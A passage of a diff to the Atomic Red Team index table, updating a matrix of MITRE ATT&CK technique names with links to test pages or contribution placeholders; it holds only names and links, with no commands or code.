TEST](https://atomicredteam.io/contributing) | -| | [Scripting](./T1064/T1064.md) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Service Execution](./T1035/T1035.md) | [Hypervisor](./T1062/T1062.md) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | [Signed Script Proxy Execution](./T1216/T1216.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Logon Scripts](./T1037/T1037.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Modify Existing Service](./T1031/T1031.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | -| | [Windows Management Instrumentation](./T1047/T1047.md) | [New Service](./T1050/T1050.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | -| | [Windows Remote Management](./T1028/T1028.md) | [Office Application Startup](./T1137/T1137.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | | | | | | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Modify Registry](./T1112/T1112.md) | | | | | | | -| | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Scheduled Task](./T1053/T1053.md) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | -| | | [Screensaver](./T1180/T1180.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | -| | | Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvr32](./T1117/T1117.md) | | | | | | | -| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Rootkit](./T1014/T1014.md) | | | | | | | -| | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Rundll32](./T1085/T1085.md) | | | | | | | -| | | Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Account Manipulation](./T1098/T1098.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Data Encoding](./T1132/T1132.md) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](./T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [Password Policy Discovery](./T1201/T1201.md) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Input Capture](./T1056/T1056.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Permission Groups Discovery](./T1069/T1069.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [DCShadow](./T1207/T1207.md) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Query Registry](./T1012/T1012.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [New Service](./T1050/T1050.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Private Keys](./T1145/T1145.md) | [Security Software Discovery](./T1063/T1063.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Regsvr32](./T1117/T1117.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scripting](./T1064/T1064.md) | [Hooking](./T1179/T1179.md) | [Scheduled Task](./T1053/T1053.md) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | [Service Execution](./T1035/T1035.md) | [Hypervisor](./T1062/T1062.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Time Discovery](./T1124/T1124.md) | | | | | +| | [Signed Script Proxy Execution](./T1216/T1216.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Logon Scripts](./T1037/T1037.md) | | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Modify Existing Service](./T1031/T1031.md) | | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Netsh Helper DLL](./T1128/T1128.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Windows Management Instrumentation](./T1047/T1047.md) | [New Service](./T1050/T1050.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| | [Windows Remote Management](./T1028/T1028.md) | [Office Application Startup](./T1137/T1137.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | +| | XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | +| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | | | | | | +| | | [Registry Run Keys / Startup Folder](./T1060/T1060.md) | | [Modify Registry](./T1112/T1112.md) | | | | | | | +| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Mshta](./T1170/T1170.md) | | | | | | | +| | | [Scheduled Task](./T1053/T1053.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | [Screensaver](./T1180/T1180.md) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | +| | | Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | +| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | | +| | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | +| | | Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Rundll32](./T1085/T1085.md) | | | | | | | +| | | | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Scripting](./T1064/T1064.md) | | | | | | | | | | | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Signed Script Proxy Execution](./T1216/T1216.md) | | | | | | | | | | | | Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | |